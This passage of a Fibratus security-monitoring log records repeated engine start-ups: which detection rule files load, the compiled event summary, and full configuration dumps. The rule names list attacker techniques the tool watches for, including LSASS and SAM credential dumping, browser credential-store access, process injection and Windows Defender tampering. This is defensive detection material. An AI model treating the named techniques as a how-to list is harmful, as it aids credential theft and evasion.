C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:51:42+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T17:51:42+01:00 level=info msg=bootstrapping with pid 19108. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:51:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ to=>[] content-type=>text/html use-template=>true enabled=>false port=>25] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false] + eventsource .................... [ stack-enrichment=>true enable-image=>true enable-net=>true enable-mem=>false min-buffers=>16 enable-handle=>false buffer-size=>512 enable-fileio=>true enable-threadpool=>false enable-registry=>true enable-dns=>false enable-vamap=>true enable-audit-api=>true enable-thread=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 formatter=>text log-stdout=>true level=>info max-backups=>15 max-size=>100] + output ......................... [ eventlog=>[ enabled=>false level=>info] elasticsearch=>[ healthcheck-interval=>10s sniff=>false healthcheck=>true bulk-workers=>1 servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s gzip-compression=>false timeout=>5s flush-period=>1s template-name=>fibratus trace-log=>false enabled=>false index-name=>fibratus] http=>[ tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s serializer=>json method=>POST endpoints=>[] enabled=>false] amqp=>[ passive=>false tls-insecure-skip-verify=>false exchange-type=>topic durable=>false vhost=>/ url=>amqp://localhost:5672 enabled=>false routing-key=>fibratus timeout=>5s delivery-mode=>transient exchange=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty]] + pe ............................. [ enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false excluded-files=>[] enabled=>false skip-allocs=>false skip-files=>false scan-timeout=>10s fastscan=>true excluded-procs=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:51:43+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:51:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:54:40+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:54:40+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:54:40+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T18:07:03+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T18:07:03+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T18:07:03+01:00 level=info msg=bootstrapping with pid 19284. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T18:07:04+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ to=>[] port=>25 use-template=>true enabled=>false content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ min-buffers=>16 flush-interval=>1s enable-fileio=>true enable-thread=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false enable-net=>true buffer-size=>512 enable-image=>true enable-vamap=>true enable-mem=>false max-buffers=>36 enable-threadpool=>false enable-registry=>true stack-enrichment=>true enable-audit-api=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 level=>info formatter=>text log-stdout=>true max-size=>100 max-backups=>15] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ level=>info enabled=>false] http=>[ tls-insecure-skip-verify=>false timeout=>5s endpoints=>[] serializer=>json enabled=>false enable-gzip=>false method=>POST] elasticsearch=>[ gzip-compression=>false enabled=>false template-name=>fibratus healthcheck=>true servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s bulk-workers=>1 sniff=>false index-name=>fibratus timeout=>5s healthcheck-timeout=>5s trace-log=>false flush-period=>1s] amqp=>[ passive=>false durable=>false exchange-type=>topic timeout=>5s delivery-mode=>transient routing-key=>fibratus exchange=>fibratus url=>amqp://localhost:5672 vhost=>/ enabled=>false tls-insecure-skip-verify=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] fastscan=>true skip-allocs=>false skip-files=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-mmaps=>false skip-registry=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T18:07:04+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T18:07:06+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T18:09:25+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T18:09:25+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T18:09:25+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T18:09:28+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T18:09:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 